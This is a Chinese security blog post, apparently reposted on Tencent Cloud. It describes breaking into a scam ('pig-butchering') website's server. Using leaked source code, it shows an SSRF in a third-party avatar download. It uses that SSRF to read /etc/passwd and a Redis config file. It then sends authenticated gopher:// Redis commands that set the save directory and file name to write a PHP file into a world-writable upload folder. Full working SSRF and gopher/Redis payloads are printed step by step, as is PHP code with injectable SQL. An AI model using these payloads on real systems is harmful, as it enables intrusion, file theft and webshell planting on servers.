前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【S战】杀猪盘SSRF到getshell

【S战】杀猪盘SSRF到getshell

作者头像
重生信息安全
发布2021-06-10 01:34:00
1.8K0
发布2021-06-10 01:34:00
举报
文章被收录于专栏:重生信息安全重生信息安全

起因

前段时间项目中遇到一个杀猪盘,一直很忙没有看,最近闲下来就看了一下,没发现什么明显的漏洞,就在Fofa上通过特征搜了一批同类型的站扫源码备份,运气很好,扫到一份

SSRF

本来找到一处任意上传,但是在目标上面已经被删除,只能继续看代码 在全局搜索curl的时候发现在\lib\controller\api\user.php文件的_downloadAvatarFromThird私有方法里面有定义

  1. 在279到282行没有任何过滤直接把传进来的thirdAvatarUrl使用curl进行请求并把返回结果存储在imageData
  2. 在284行通过getAvatarFilename方法获取到一个基于以微秒计的当前时间然后拼接.jpg的文件名
  1. 在285行通过getAvatarUrl方法获取到一个本地存储的绝对路径

S_ROOT/index.php里被定义为当前网站根目录的绝对路径

  1. 在294行把结果写入到第285行获取到的文件名里

现在知道了_downloadAvatarFromThird方法有明显的SSRF漏洞并把结果写入到一个文件里面之后,只需要找到哪里调用的这个方法,然后看看thirdAvatarUrl变量是否可控 通过搜索,在第139行的公开方法thirdPartyLogin里面调用了_downloadAvatarFromThird方法,并且thirdAvatarUrl也是可控的

代码语言:javascript
复制
/**
 * 第三方登录 qq 微信
 * @method POST /index.php?m = api&c = user&a = registerMachine
 * @param flag string 入口标示
 * @param code string 机身码
 * @return json
 */
public function thirdPartyLogin (){

 log_to_mysql(runtime(),'thirdPartyLogin_start');

 $this->checkInput($_REQUEST, array('openid','nickname','type','flag', 'code'), 'all');


 log_to_mysql(runtime(),'thirdPartyLogin_check_params_end');

 $openid = trim($_REQUEST['openid']);
 $nickname = trim($_REQUEST['nickname']);
 $avatar = trim($_REQUEST['avatar']);
 $type = trim($_REQUEST['type']);
 $flag = trim($_REQUEST['flag']);
 $code = trim($_REQUEST['code']);
 if(!in_array($type,array(5,6,7))){
  ErrorCode::errorResponse(ErrorCode::DB_ERROR);
 }

 //获取IP地址及ip归属地
 $ipData = getIp();
 log_to_mysql(runtime(),'thirdPartyLogin_getip_end');

 $sql = "SELECT user_id FROM `un_user_third` WHERE `openid` = '{$openid}' AND `type` = '{$type}'";
 $res = O('model')->db->getOne($sql);
 log_to_mysql(runtime(),'thirdPartyLogin_checkOpenidExists_end');

 if(empty($res['user_id'])){
  $username = $this->getUsername(6,10);
  //添加用户
  $data = array(
   'username' => $username,
   'nickname' => $nickname,
   'regtime' => SYS_TIME,
   'birthday' => SYS_TIME,
   'regip' => $ipData['ip'],
   'reg_ip_attribution' => $ipData['attribution'],
   'loginip' => $ipData['ip'],
   'login_ip_attribution' => $ipData['attribution'],
   'logintime' => SYS_TIME,
   'logintimes' => 1,
   'reg_type' => $type,
   'entrance' => $flag,
   'layer_id' => $this->model2->getDefaultLayer()
  );

  $userId = $this->model->add($data);

  if (!$userId) {
   ErrorCode::errorResponse(ErrorCode::DB_ERROR);
  }

  //添加资金账户
  $map = array(
   'user_id' => $userId,
   'money' => 0
  );
  $this->model2->add($map);

  O('model')->db->query("INSERT INTO `un_user_tree` (`user_id`, `pids`, `layer`) VALUES ({$userId}, ',', 1)");

  //添加第三方数据表记录
  $sql2 = "INSERT INTO `un_user_third` (`user_id`, `openid`, `type`, `addtime`) VALUES ('{$userId}', '{$openid}', '{$type}', '{$data['regtime']}')";
  O('model')->db->query($sql2);

  //下载头像
  if(!empty($avatar)){
   $res = $this->_downloadAvatarFromThird($userId, $avatar);
  }

  //设置登录信息
  $this->loginLog($userId, $flag, $code);

  $token = $this->setToken($userId,$code);
  $data = array(
   'uid' => $userId,
   'token' => $token,
   'username' => $username,
   'nickname' => $nickname,
   'avatar' => $res?$res:'/up_files/room/avatar.png',
   'state' => 1
  );
 }else{
  $userId = $res['user_id'];
  $sql = "SELECT id,username,nickname,avatar,password FROM un_user WHERE id = '" . $userId ."' AND state IN(0,1)";
  $userInfo = O('model')->db->getOne($sql);

  log_to_mysql(runtime(),'thirdPartyLogin_getUserInfo_end');

  if (empty($userInfo)) {
   ErrorCode::errorResponse(ErrorCode::PHONE_OR_PWD_INVALID);
  }
  //更新登录信息
  $this->model->updateLoginInfo($userId);
  log_to_mysql(runtime(),'thirdPartyLogin_updateLogData_end');

  //去掉更新设备,这里更新的设备字段,为注册设备,最后登录设备已记录在 un_user_login_log 表
  // $this->model->save(array('entrance' => $flag), array('id' => $userId)); //更新用户设备登录类型

  //设置登录信息
  $token = $this->setToken($userId,$code);


  log_to_mysql(runtime(),'thirdPartyLogin_setToken_end');

  $this->loginLog($userId, $flag, $code);

  log_to_mysql(runtime(),'thirdPartyLogin_logLoginData_end');

  $data = array(
   'uid' => $userId,
   'token' => $token,
   'username' => $userInfo['username'],
   'nickname' => empty($userInfo['nickname']) ? $userInfo['username'] : $userInfo['nickname'],
   'avatar' => empty($userInfo['avatar']) ? '/up_files/room/avatar.png' : $userInfo['avatar'],
   'state' => empty($userInfo['password']) ?1:2
  );
 }

 /*
 $honor = get_honor_level($userId);
 if(($honor['status1'] && $honor['status']) || ($honor['status'] && $honor['score']==0)){
  $data['honor'] = $honor['name'];
  $data['icon'] = $honor['icon'];
  $data['num'] = $honor['num'];
 }else{
  $data['honor'] = 0;
 }
 */

 //荣誉机制
 $data['honor'] = get_honor_info($userId);

 log_to_mysql(runtime(),'thirdPartyLogin_getHonor_end');

 ErrorCode::successResponse($data);
}

那么现在就可以构造一个URL来读文件试一下是否可以成功

返回了图片路径就说明是读成功了的

经过测试支持filehttp/sdictgopher等协议

写shell失败

读文件并不是我的目标,最终的目的是要拿到权限 在之前在看配置文件的时候看到配置文件里面是配置了Redis密码的,但是并不清楚目标上是否开启,读到/etc/passwd之后看到有redis用户,那么八成是开启了的 这时候首先需要看一下目标机器上面的Redis是否配置了密码:dict://127.0.0.1:6379/info 查看返回结果发现是配置了密码的

这时候有两个思路获取到Redis密码:

  • 爆破Redis密码:dict://127.0.0.1:6379/auth:<password>
  • 找绝对路径读配置文件

首选肯定是先找找看能否爆出来绝对路径,发现有两个文件有可能泄露绝对路径:

  • /caches/log/object_error.php (目标上不存在)
  • /chat/workerman.log:访问下载下来后,不出意外的泄露了绝对路径

再通过SSRF读配置文件得到Redis的密码:file:///www/wwwroot/webgz/caches/config.php

得到密码之后怎样在非交互模式下使用密码进行验证并且执行指令呢?可以在Redis官方文档中找到答案:https://redis.io/topics/pipelining

  • 大概意思就是Redis支持非传统一次request等待一次response的模式,可以发送多条request后再一次性接收所有response

这个时候dict协议就不行了,因为dict协议会自动在结尾补上\r\n(CRLF),不能一次发出多条指令,所以这里需要使用gopher协议

Redis命令转换为gopher协议:

  • 先使用socat转发流量并打印文本socat -v tcp-listen:6378,fork tcp-connect:localhost:6379
  • 然后使用redis-cli攻击6378端口redis-cli -h 127.0.0.1 -p 6378 -a qq123456 config get dir

这时候是可以发现一些规律的(也就是RESP协议,可以百度了解) 转换:

  • 如果第1个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间和流量详情。
  • 删除从<开头的行到>开头的行之间的行,因为这是返回的数据,这里不需要
  • \r换行字符串替换成%0d%0a
  • 开头为*的数字为数组元素数量,开头为的数字为字符数量,也就是说*3后面需要跟3个x
  • Gopher协议发送数据第一个字符会消失,所以用_来代替第一个字符(其他字符也都可以)

那么这里需要认证的config get dir转换为gopher协议就是

代码语言:javascript
复制
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aget%0d%0a$3%0d%0adir%0d%0a

后面必须再加一个quit*1%0d%0a$4%0d%0aquit%0d%0a),否则会一直连接,不退出,也就无法返回结果 发送前再把_后面的所有内容再url编码一次,发送并得到结果

现在就可以通过Redis往目标网站写一个webshell

  1. 首先需要关闭RDB压缩,Redis默认开启,如果不关闭,字符串可能会被压缩出现乱码导致shell不能正常运行:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%0d%0aset%0d%0a14%0d%0ardbcompression%0d%0a2%0d%0ano%0d%0a*1%0d%0a
  2. 设置保存位置:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%0d%0aset%0d%0a3%0d%0adir%0d%0a35%0d%0a/www/wwwroot/webgz/up_files/avatar/%0d%0a*1%0d%0a4%0d%0aquit%0d%0a 在设置保存路径之前,最好先获取一下原本的保存路径,写入shell之后恢复回去:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*3%0d%0a6%0d%0aconfig%0d%0a3%0d%0aget%0d%0a3%0d%0adir%0d%0a*1%0d%0a
  3. 设置文件名:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%0d%0aset%0d%0a10%0d%0adbfilename%0d%0a5%0d%0a1.php%0d%0a*1%0d%0a
  4. 写入一个key,内容为wenshell:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*3%0d%0a3%0d%0aset%0d%0a1%0d%0as%0d%0a27%0d%0a%0a%0d%0a<?php phpinfo();?>%0d%0a%0a%0d%0a%0d%0a*1%0d%0a
  5. 保存:*2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*1%0d%0a4%0d%0asave%0d%0a*1%0d%0a4%0d%0aquit%0d%0a

发现没有写进去,目标机器为Linux,猜测是权限的问题(可能网站路径都是755,而redis权限想写进去最后一位权限得是7(读写执行)、6(写执行)) 那么这个时候有几个选择:

  • 试一下定时任务有没有写权限(测试没权限)
  • 多找几个目录试试看有没有777权限目录(没找到)
  • 在源码里搜索一下是否有chmodmkdir等方法赋予了777权限
  • Fastcgi(攻击方法参考https://bbs.ichunqiu.com/thread-58455-1-1.html),但是这里不知道是走的socket还是TCP(默认socket),所以没测试

突破

  1. 找到一些chmodmkdir要不就是不可控,要不就是目录已经存在 最后在\core\class\upload.phpupload方法里找到使用chmod方法会以当前日期新建一个目录并赋予777权限
  1. 搜索调用了upload类的并可控的点 在\lib\controller\attachment\attachment.php的公开方法upload里调用了upload类,并且可控
  1. 构造上传

上传成功,返回了路径

成功访问到,那么这个新建的目录up_files/avatar/2021/0315/就是777权限,可以通过redis写入webshell

  1. 再用rediswebshell发现<>被实体化了,那么把这两个都再进行一次url编码即可
    • *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%0d%0aset%0d%0a14%0d%0ardbcompression%0d%0a2%0d%0ano%0d%0a*1%0d%0a
    • *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%0d%0aset%0d%0a3%0d%0adir%0d%0a45%0d%0a/www/wwwroot/webgz/up_files/avatar/2021/0315/%0d%0a*1%0d%0a
    • *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*4%0d%0a6%0d%0aconfig%0d%0a3%0d%0aset%0d%0a10%0d%0adbfilename%0d%0a5%0d%0a1.php%0d%0a*1%0d%0a
    • *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*3%0d%0a3%0d%0aset%0d%0a1%0d%0as%0d%0a26%0d%0a%0a%0d%0a%3C?php phpinfo();?%3E%0d%0a%0a%0d%0a%0d%0a*1%0d%0a4%0d%0aquit%0d%0a
    • *2%0d%0a4%0d%0aAUTH%0d%0a8%0d%0aqq123456%0d%0a*1%0d%0a4%0d%0asave%0d%0a*1%0d%0a4%0d%0aquit%0d%0a
  2. 访问

成功,把redis配置给他改回去都可以了。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 起因
  • SSRF
    • 写shell失败
    • 突破
    相关产品与服务
    云数据库 Redis
    腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档